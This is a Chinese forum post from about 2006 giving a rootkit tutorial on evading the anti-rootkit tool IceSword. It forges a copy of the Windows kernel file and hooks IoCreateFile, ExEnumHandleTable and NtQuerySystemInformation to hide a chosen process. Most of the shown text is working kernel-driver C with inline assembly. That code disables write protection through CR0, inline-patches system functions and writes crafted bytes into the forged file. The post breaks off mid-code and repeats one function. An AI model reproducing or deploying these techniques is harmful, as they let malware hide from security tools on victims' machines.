新书推介:《语义网技术体系》
作者:瞿裕忠,胡伟,程龚
   XML论坛     W3CHINA.ORG讨论区     计算机科学论坛     SOAChina论坛     Blog     开放翻译计划     新浪微博  
 
  • 首页
  • 登录
  • 注册
  • 软件下载
  • 资料下载
  • 核心成员
  • 帮助
  •   Add to Google

    >> 本版讨论高级C/C++编程、代码重构(Refactoring)、极限编程(XP)、泛型编程等话题
    [返回] 中文XML论坛 - 专业的XML技术讨论区计算机技术与应用『 C/C++编程思想 』 → 利用伪造内核文件来绕过IceSword的检测 查看新帖用户列表

      发表一个新主题  发表一个新投票  回复主题  (订阅本版) 您是本帖的第 5278 个阅读者浏览上一篇主题  刷新本主题   平板显示贴子 浏览下一篇主题
     * 贴子主题: 利用伪造内核文件来绕过IceSword的检测 举报  打印  推荐  IE收藏夹 
       本主题类别:     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客楼主
    发贴心情 利用伪造内核文件来绕过IceSword的检测


    文章分为八个部分:

                    一、为什么需要伪造内核
                    二、伪造内核文件
                    三、隐藏进程
                    四、隐藏内核模块
                    五、隐藏服务
                    六、隐藏注册表
                    七、隐藏文件
                    八、关于端口

    另:建议先看看最后那些参考文章。


    一、为什么需要伪造内核:

        IceSword(以下简称IS)为了防止一些关键系统函数(包括所有服务中断表中的函数以及IS驱动部分要使用到的一些关键函数)被patch,它直接读取内核文件(以下简称“ntoskrnl.exe”),然后自己分析ntoskrnl.exe的PE结构来获取关键系统函数的原始代码并且把当前内核中所有的关键系统函数还原为windows默认状态,这样保证了IS使用到的函数不被patch过。也许你会想如果我们把还原后的函数再进行patch不还是能躲的过去吗?笔者也试过,还专门写了ring0的Timer来不停的patch自己想hook的函数。结果IS棋高一筹,在对所有的关键系统函数进行还原以后,IS每次调用这些函数前都会先把这些函数还原一次。这样还是能保证IS自己使用到的关键系统函数不被patch。也许你还会想缩小Timer的时间间隔,以致于IS对这些函数进行还原后,这些函数马上又被我们patch,这样IS再调用这些函数时不还是执行了我们patch过的函数。这种想法粗略看起来可以,但你仔细一想就知道是不行的。

        治病还是得治本,也许你想过不如直接修改ntoskrnl.exe文件内容,使得IS一开始读入的就已经是我们patch过得函数内容,这样不就躲过去了。这种想法有两个很大的副作用:

        1、在通常的默认情况下,windows的系统文件保护是打开的,要停止这种系统文件保护要付出很大的代价,有可能需要重启。

        2、就算你停止了系统文件保护,也成功修改了ntoskrnl.exe,但是你不能保证系统每次都能正常关机
           假如系统非法关机重启,由于你还来未对ntoskrnl.exe进行还原,此时会发生什么情况我也就不多说了。

        而伪造内核文件就很好的避免了上面谈的两大副作用。主要处理下面三个点:

        1、截获并修改IS打开ntoskrnl.exe消息,使它指向我要伪造的内核文件(假设为“otoskrnl.exe”)

        2、在内核文件中定位我们要修改的数据。

        3、隐藏我们伪造的“otoskrnl.exe”,这点请看本文的第七部分。

    二、    伪造内核文件:

    先说一下本文hook函数的方式:

        1、取该函数起始地址的前六个字节内容保留在unsigned char resume[6]中。

        2、把构造的两条指令push xxxxxxxx(我们自己构造的函数地址) ret 保留到unsigned char crackcode[6](这两条指令刚好六个字节)中。

        3、把该函数起始址的6个字节替换成crackcode[6]的内容。这样系统调用该函数时就会先跳到xxxxxxxx地址去执行我们构造的函数。

        而我们构造的xxxxxxxx函数的主要结构如下:

        1、把我们hook的那个函数起始的前6个字节用resume[6]内容进行还原。

        2、对传递的程序参数进行处理等。

        3、调用被还原后的函数。

        4、此时可以处理函数返回后的数据等。

        5、把还原后的那个函数的起始地址前6个字节再用crackcode[6]内容进行替换。

        6、返回。


        IS是通过IoCreateFile函数来打开ntoskrnl.exe,因此我们只要hook这个函数,并检查其打开的文件名,如果是打开ntoskrnl.exe的话,我们把文件名替换成otoskrnl.exe再扔回去就OK了。这样所有针对于ntoskrnl.exe文件的操作都会指向otoskrnl.exe, 当然前提是你在进入驱动前记得先把ntoskrnl.exe在原目录下复制一份并命名为otoskrnl.exe。

        关于我们要修改的数据在ntoskrnl.exe中偏移的算法也很简单,这里给出公式如下:

        函数在中文件偏移=当前函数在内存中的地址 - 当前函数所在驱动模块的起始地址

        举个例子来说,假设IoCreateFile在内核中的内存地址是0x8056d1234,由于它是在内存中ntoskrnl.exe模块中,假设ntoskrnl.exe起始地址是0x8045d000。那么IoCreateFile在磁盘上的ntoskrnl.exe文件中的偏移就是0x8056d123-0x8045d000=0x110123了。

        再进行详细点说明:假设你对IoCreateFile函数进行了patch,使得该函数起始地址的6前六节的数据XXXXXX变成了YYYYYY。那么你只要打开otoskrnl.exe,把文件偏移调整到上面所说的0x110123处,在写入6个字节的数据YYYYYY。那么当IS打开otoskrnl.exe的话,读出的数据就是YYYYYY了!

        下面的代码实现两个功能,一个功能就是hook了IoCreateFile函数,使的所有指向ntoskrnl.exe的操作都指向otoskrnl.exe。另外一个功能就是进行伪造内核(函数RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)),其中FunctionOffset参数内容就是我们要hook的函数在内存中的地址。RepairDataPtr是指向字符crackcode[6]第一个字节的指针。主要功能就是先把要hook的函数地址在otoskrnl.exe文件中进行定位,然后再把crackcode[6]内容写进去。

    #include "ntddk.h"
    #include "stdarg.h"
    #include "stdio.h"
    #include "ntiologc.h"
    #include "string.h"

    #define DWORD unsigned long
    #define WORD unsigned short
    #define BOOL unsigned long

    PCWSTR    NTOSKRNL=L"ntoskrnl.exe"

    unsigned char ResumCodeIoCreateFile[6];
    unsigned char CrackCodeIoCreateFile[6];

    typedef NTSTATUS ( *IOCREATEFILE )(

      OUT PHANDLE                FileHandle,
      IN ACCESS_MASK            DesiredAccess,
      IN POBJECT_ATTRIBUTES            ObjectAttributes,
      OUT PIO_STATUS_BLOCK            IoStatusBlock,
      IN PLARGE_INTEGER            AllocationSize OPTIONAL,
      IN ULONG                FileAttributes,
      IN ULONG                ShareAccess,
      IN ULONG                Disposition,
      IN ULONG                CreateOptions,
      IN PVOID                EaBuffer OPTIONAL,
      IN ULONG                EaLength,
      IN CREATE_FILE_TYPE            CreateFileType,
      IN PVOID                ExtraCreateParameters OPTIONAL,
      IN ULONG                Options );

    IOCREATEFILE    OldIoCreateFile;

    DWORD GetFunctionAddr( IN PCWSTR FunctionName)
    {
        UNICODE_STRING UniCodeFunctionName;

                RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
                return (DWORD)MmGetSystemRoutineAddress( &UniCodeFunctionName );    

    }

    NTSTATUS RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)
    {
        NTSTATUS Status;    
        HANDLE FileHandle;
        OBJECT_ATTRIBUTES FObject;
        IO_STATUS_BLOCK IOSB;
        UNICODE_STRING    FileName;
        LARGE_INTEGER NtosFileOffset;

                    RtlInitUnicodeString (
                                &FileName,
                                L"\\SystemRoot\\system32\\otoskrnl.exe" );

                    InitializeObjectAttributes (
                                     &FObject,
                                     &FileName,
                                     OBJ_KERNEL_HANDLE,
                                     NULL,
                                     NULL);
                    Status = ZwCreateFile(
                                &FileHandle,
                                FILE_WRITE_DATA+FILE_WRITE_ATTRIBUTES+FILE_WRITE_EA,
                                &FObject,
                                &IOSB,
                                NULL,
                                FILE_ATTRIBUTE_NORMAL,
                                0,
                                FILE_OPEN,
                                FILE_NON_DIRECTORY_FILE,
                                NULL,
                                0
                                 );
                    if ( Status != STATUS_SUCCESS )
                    {
                        return Status;
                    }

                    //下面计算出函数在otoskrnl.exe中的偏移,NtoskrnlBase就是
                    //Ntoskrnl.exe在内存中的起始地址,在第四部分隐藏内核模块
                    //时会提到它的获取方法。

                    NtosFileOffset.QuadPart = FunctionOffset - NtoskrnlBase;

                    Status = ZwWriteFile(
                                FileHandle,
                                NULL,
                                NULL,
                                NULL,
                                &IOSB,
                                (unsigned char *)RepairDataPtr,
                                0x6,
                                &NtosFileOffset,
                                NULL);
                    if ( Status != STATUS_SUCCESS )
                    {
                        return Status;
                    }
                    Status = ZwClose( FileHandle );
                    if ( Status != STATUS_SUCCESS )
                    {
                        return Status;
                    }
                    return STATUS_SUCCESS;    

    }

    NTSTATUS NewIoCreateFile (

      OUT PHANDLE                FileHandle,
      IN ACCESS_MASK            DesiredAccess,
      IN POBJECT_ATTRIBUTES            ObjectAttributes,
      OUT PIO_STATUS_BLOCK            IoStatusBlock,
      IN PLARGE_INTEGER            AllocationSize OPTIONAL,
      IN ULONG                FileAttributes,
      IN ULONG                ShareAccess,
      IN ULONG                Disposition,
      IN ULONG                CreateOptions,
      IN PVOID                EaBuffer OPTIONAL,
      IN ULONG                EaLength,
      IN CREATE_FILE_TYPE            CreateFileType,
      IN PVOID                ExtraCreateParameters OPTIONAL,
      IN ULONG                Options )

    {
        NTSTATUS Status;
        PCWSTR IsNtoskrnl = NULL;
        PCWSTR FileNameaddr=NULL;

            _asm    //对IoCreateFile函数进行还原
            {
                pushad
                mov edi, OldIoCreateFile
                mov eax, dword ptr ResumCodeIoCreateFile[0]
                mov [edi], eax
                mov ax, word ptr ResumCodeIoCreateFile[4]
                mov [edi+4], ax
                popad
            }

            
            _asm    //获取要打开的文件名地址
            {
                pushad
                mov edi, ObjectAttributes
                mov eax, [edi+8]
                mov edi, [eax+4]
                mov FileNameaddr, edi
                popad
            }

            IsNtoskrnl = wcsstr( FileNameaddr, NTOSKRNL ); //判断是否时打开ntoskrnl.exe

            if ( IsNtoskrnl != NULL )
            {
                _asm    //是的话,则把ntoskrnl.exe替换成otoskrnl.exe
                {
                    pushad
                    mov edi, IsNtoskrnl
                    mov [edi], 0x006F
                    popad
                }
            }

            Status = OldIoCreateFile (
                
                            FileHandle,
                            DesiredAccess,
                            ObjectAttributes,
                            IoStatusBlock,
                            AllocationSize OPTIONAL,
                            FileAttributes,
                            ShareAccess,
                            Disposition,
                            CreateOptions,
                            EaBuffer OPTIONAL,
                            EaLength,
                            CreateFileType,
                            ExtraCreateParameters OPTIONAL,
                            Options );

            _asm //把还原后的代码又替换成我们伪造的代码
                {
                    pushad
                    mov edi, OldIoCreateFile
                    mov eax, dword ptr CrackCodeIoCreateFile[0]
                    mov [edi], eax
                    mov ax, word ptr CrackCodeIoCreateFile[4]
                    mov [edi+4], ax
                    popad
                }        
            return Status;

    }


    NTSTATUS PatchIoCreateFile()
    {
        NTSTATUS Status;
                
                OldIoCreateFile = ( IOCREATEFILE ) GetFunctionAddr(L"IoCreateFile");

                if ( OldIoCreateFile == NULL )
                {
                    DbgPrint("Get IoCreateFile Addr Error!!");
                    return STATUS_DEVICE_CONFIGURATION_ERROR;
                }

                _asm  //关中断
                   {
                    CLI                 
                    MOV    EAX, CR0     
                    AND EAX, NOT 10000H  
                    MOV    CR0, EAX        
                }
                _asm
                {
                    pushad
                    //获取 IoCreateFile 函数的地址并保留该函数的起始六个字节
                    mov edi, OldIoCreateFile
                    mov eax, [edi]
                    mov dword ptr ResumCodeIoCreateFile[0], eax
                    mov ax, [edi+4]
                    mov word  ptr ResumCodeIoCreateFile[4], ax
                    
                    //构造要替换的代码,使得系统调用函数时跳到我们构造的NewIoCreateFile去执行
                    mov byte ptr CrackCodeIoCreateFile[0], 0x68
                    lea edi, NewIoCreateFile
                    mov dword ptr CrackCodeIoCreateFile[1], edi
                    mov byte ptr CrackCodeIoCreateFile[5], 0xC3

                    //把构造好的代码进心替换
                    mov edi, OldIoCreateFile
                    mov eax, dword ptr CrackCodeIoCreateFile[0]
                    mov dword ptr[edi], eax
                    mov ax, word ptr CrackCodeIoCreateFile[4]
                    mov word ptr[edi+4], ax
                    popad
                }

                _asm //开中断
                {
                    MOV    EAX, CR0       
                    OR    EAX, 10000H            
                    MOV    CR0, EAX              
                    STI                    
                }

                Status = RepairNtosFile(
                                (DWORD)OldIoCreateFile,
                                (DWORD)(&CrackCodeIoCreateFile));

                return Status;

    }

        上面给出的代码中,有些是公共使用的部分,如:GetFunctionAddr()(用来获取函数地址)以及RepairNtosFile()(功能上文已经介绍)函数。为节省版面,在下面的代码中将直接对其进行引用,而不再贴出它们的代码。下面的代码将不会再include头文件。而是直接定义自己所使用到的变量。其中include的投文件与上面的代码相同,另外本文中所有的例子都没有给出Unloaded例程(浪费版面),自己看着写了另外,本文贴出的所有代码,除了第六部分代码只在XP下测试通过,其他代码均再2K及XP下测试并通过。笔者在写这些代码时虽然兼顾到了2K3,但是笔者并没有在2K3中测试过这些代码。这些代码中夹杂了一些汇编指令。这些汇编指令产生主要有两种原因:一是当时的我认为某些东西用汇编指令来表示非常直观,如还原与替换函数代码那个部分。二是在分析一些数据时,由于眼前面对的是纯16进制的数据,于是也没多想咔咔就用汇编写了一个循环下来。如果给你阅读代码造成了不便,笔者在这表示歉意。


    三、    隐藏进程

        对付IS枚举进程ID的思路是这样的,hook系统函数ExEnumHandleTable,使它先运行我们指定的函数NewExEnumHandleTable,在NewExEnumHandleTable函数中,我们先获取它的回调函数参数Callback所指向的函数地址,把它所指向的函数地址先放到OldCallback中,然后用我们构造的新的回调函数FilterCallback去替换掉原来的Callback。这样该函数在执行回调函数时就会先调用我们给它的FilterCallback回调函数。在我们设计的FilterCallback中,判断当前进程ID是否时我们要隐藏的进程ID,不是的话则把参数传给OldCallback去执行,如果是的话则直接return。这样就起到隐藏进程的作用。

        以上是对付IS的,对于应付windows进程管理的方法,与sinister使用的方法大体相同,不过有些不同。sinister是通过比较进程名来确定自己要隐藏的进程。这种方法对于隐藏要启动两个和两个以上相同名字的进程比较可取,但问题是如果你只是要隐藏一个进程的话。那么这个方法就显得不完美了。完全可以通过直接比较进程ID来确定自己要隐藏的进程。建议不到不得以的时候尽量不要使用比较文件名的方法,太影响效率。

        下面的代码中,GetProcessID()函数是用来从注册表中读取要隐藏的进程ID,当然首先你要在注册表设置这个值。用注册表还是很方便的。

        PatchExEnumHandleTable()函数是通过hook系统函数ExEnumHandleTable函数实现在IS中隐藏目标进程,PatchNtQuerySystemInformation ()函数是通过hook系统函数NtQuerySystemInformation并通过比较进程ID的方法实现隐藏进程。


    HANDLE ProtectID;
    unsigned char ResumCodeExEnumHandleTable[6];
    unsigned char CrackCodeExEnumHandleTable[6];
    unsigned char ResumCodeNtQuerySystemInformation[6];
    unsigned char CrackCodeNtQuerySystemInformation[6];

    typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(

      IN ULONG                        SystemInformationClass,
      OUT PVOID                        SystemInformation,
      IN ULONG                        SystemInformationLength,
      OUT PULONG                        ReturnLength OPTIONAL  );

    NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;

    typedef VOID (*EXENUMHANDLETABLE)  
    (  
        PULONG        HandleTable,  
        PVOID        Callback,  
        PVOID        Param,  
        PHANDLE        Handle  OPTIONAL
    );

    EXENUMHANDLETABLE    OldExEnumHandleTable;

    typedef BOOL (*EXENUMHANDLETABLECALLBACK)
    (
        DWORD   HANDLE_TALBE_ENTRY,
        DWORD    PID,
        PVOID    Param
    );

    EXENUMHANDLETABLECALLBACK    OldCallback;

    NTSTATUS GetProcessID (
                IN PUNICODE_STRING theRegistryPath
                )
    {
        OBJECT_ATTRIBUTES ObjectAttributes;
        NTSTATUS Status;

        HANDLE KeyHandle;
        PHANDLE Phandle;
        PKEY_VALUE_PARTIAL_INFORMATION valueInfoP;
        ULONG valueInfoLength,returnLength;

        UNICODE_STRING UnicodeProcIDreg;


                InitializeObjectAttributes (
                                &ObjectAttributes,
                                theRegistryPath,
                                OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL );

                Status = ZwOpenKey (
                            &KeyHandle,
                            KEY_ALL_ACCESS,
                            &ObjectAttributes );

                if (Status != STATUS_SUCCESS)
                {
                    DbgPrint("ZwOpenKey Wrong\n");
                    return STATUS_DEVICE_CONFIGURATION_ERROR;
                }

                RtlInitUnicodeString (
                            &UnicodeProcIDreg,
                            L"ProcessID" );

                valueInfoLength = sizeof(KEY_VALUE_PARTIAL_INFORMATION);

                valueInfoP = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool (
                                                NonPagedPool,
                                                valueInfoLength );
                Status = ZwQueryValueKey (
                                KeyHandle,
                                &UnicodeProcIDreg,
                                KeyValuePartialInformation,
                                valueInfoP,
                                valueInfoLength,
                                &returnLength );

                if (Status != STATUS_SUCCESS)
                {
                    DbgPrint("ZwOpenKey Wrong\n");
                    return STATUS_DEVICE_CONFIGURATION_ERROR;
                }

                Phandle = (PHANDLE)(valueInfoP->Data);

                ProtectID = *Phandle;

                ZwClose(KeyHandle);

                return STATUS_SUCCESS;

    }

    BOOL FilterCallback (
                DWORD   HANDLE_TALBE_ENTRY,
                DWORD    PID,
                PVOID    Param )
    {

            if ( PID != (DWORD)ProtectID)    //判断是否是我们要隐藏的进程
            {
                return OldCallback (
                            HANDLE_TALBE_ENTRY,
                            PID,
                            Param );
            }
            else
            {
                return FALSE; //是的话直接返回
            }
    }

    BOOL FilterCallback (
                DWORD   HANDLE_TALBE_ENTRY,
                DWORD    PID,
                PVOID    Param )
    {

            if ( PID != (DWORD)ProtectID)    //判断是否是我们要隐藏的进程
            {
                return OldCallback (
                            HANDLE_TALBE_ENTRY,
                            PID,
                            Param );
            }
            else
            {
                return FALSE; //是的话直接返回
            }
    }

    VOID NewExEnumHandleTable(
                    PULONG        HandleTable,  
                    PVOID        Callback,  
                    PVOID        Param,  
                    PHANDLE        Handle  OPTIONAL )    
    {

            OldCallback = Callback; //把Callback参数给OldCallback进行保留

            Callback = FilterCallback; //用FilterCallback替换调原来的Callback

            _asm  //还原
            {
                pushad
                mov edi, OldExEnumHandleTable
                mov eax, dword ptr ResumCodeExEnumHandleTable[0]
                mov [edi], eax
                mov ax, word ptr ResumCodeExEnumHandleTable[4]
                mov [edi+4], ax
                popad
            }

                OldExEnumHandleTable (
                            HandleTable,  
                            Callback,  
                            Param,  
                            Handle  OPTIONAL );
            _asm //替换
            {
                pushad
                mov edi, OldExEnumHandleTable
                mov eax, dword ptr CrackCodeExEnumHandleTable[0]
                mov [edi], eax
                mov ax, word ptr CrackCodeExEnumHandleTable[4]
                mov [edi+4], ax
                popad
            }
            return ;
    }

    NTSTATUS PatchExEnumHandleTable()
    {
        NTSTATUS Status;

                 OldExEnumHandleTable = (EXENUMHANDLETABLE) GetFunctionAddr(L"ExEnumHandleTable");

                 if ( OldExEnumHandleTable == NULL )
                 {
                     DbgPrint("Get ExEnumHandleTable Addr Error!!");
                     return STATUS_DEVICE_CONFIGURATION_ERROR;
                 }

                 _asm    //关中断
                   {
                    CLI                    
                    MOV    EAX, CR0   
                    AND EAX, NOT 10000H
                    MOV    CR0, EAX  
                }
                 _asm
                {
                    pushad
                    //获取ExEnumHandleTable函数的地址并保留该函数的起始六个字节
                    mov edi, OldExEnumHandleTable
                    mov eax, [edi]
                    mov dword ptr ResumCodeExEnumHandleTable[0], eax
                    mov ax, [edi+4]
                    mov word  ptr ResumCodeExEnumHandleTable[4], ax
                    
                    //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewExEnumHandleTable去执行
                    mov byte ptr CrackCodeExEnumHandleTable[0], 0x68
                    lea edi, NewExEnumHandleTable
                    mov dword ptr CrackCodeExEnumHandleTable[1], edi
                    mov byte ptr CrackCodeExEnumHandleTable[5], 0xC3

                    //把构造好的代码进心替换
                    mov edi, OldExEnumHandleTable
                    mov eax, dword ptr CrackCodeExEnumHandleTable[0]
                    mov dword ptr[edi], eax
                    mov ax, word ptr CrackCodeExEnumHandleTable[4]
                    mov word ptr[edi+4], ax
                    popad
                }

                 _asm //开中断
                {
                    MOV    EAX, CR0        
                    OR &


       收藏   分享  
    顶(0)
      




    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2006/2/6 9:22:00
     
     GoogleAdSense
      
      
      等级:大一新生
      文章:1
      积分:50
      门派:无门无派
      院校:未填写
      注册:2007-01-01
    给Google AdSense发送一个短消息 把Google AdSense加入好友 查看Google AdSense的个人资料 搜索Google AdSense在『 C/C++编程思想 』的所有贴子 访问Google AdSense的主页 引用回复这个贴子 回复这个贴子 查看Google AdSense的博客广告
    2024/5/28 5:24:30

    本主题贴数4,分页: [1]

     *树形目录 (最近20个回帖) 顶端 
    主题:  利用伪造内核文件来绕过IceSword的检测(21382字) - 卷积内核,2006年2月6日
        回复:  7、隐藏文件: 终于写到隐藏文件,在实现隐藏文件的过程中,越来越欣赏PJF。IS在获取文..(15149字) - 卷积内核,2006年2月6日
        回复:  五、隐藏服务: 普通情况下加载驱动需要 OpenSCManager->CreateSer..(13128字) - 卷积内核,2006年2月6日
        回复:  _asm //开中断 { MOV E..(13567字) - 卷积内核,2006年2月6日

    W3C Contributing Supporter! W 3 C h i n a ( since 2003 ) 旗 下 站 点
    苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》
    406.250ms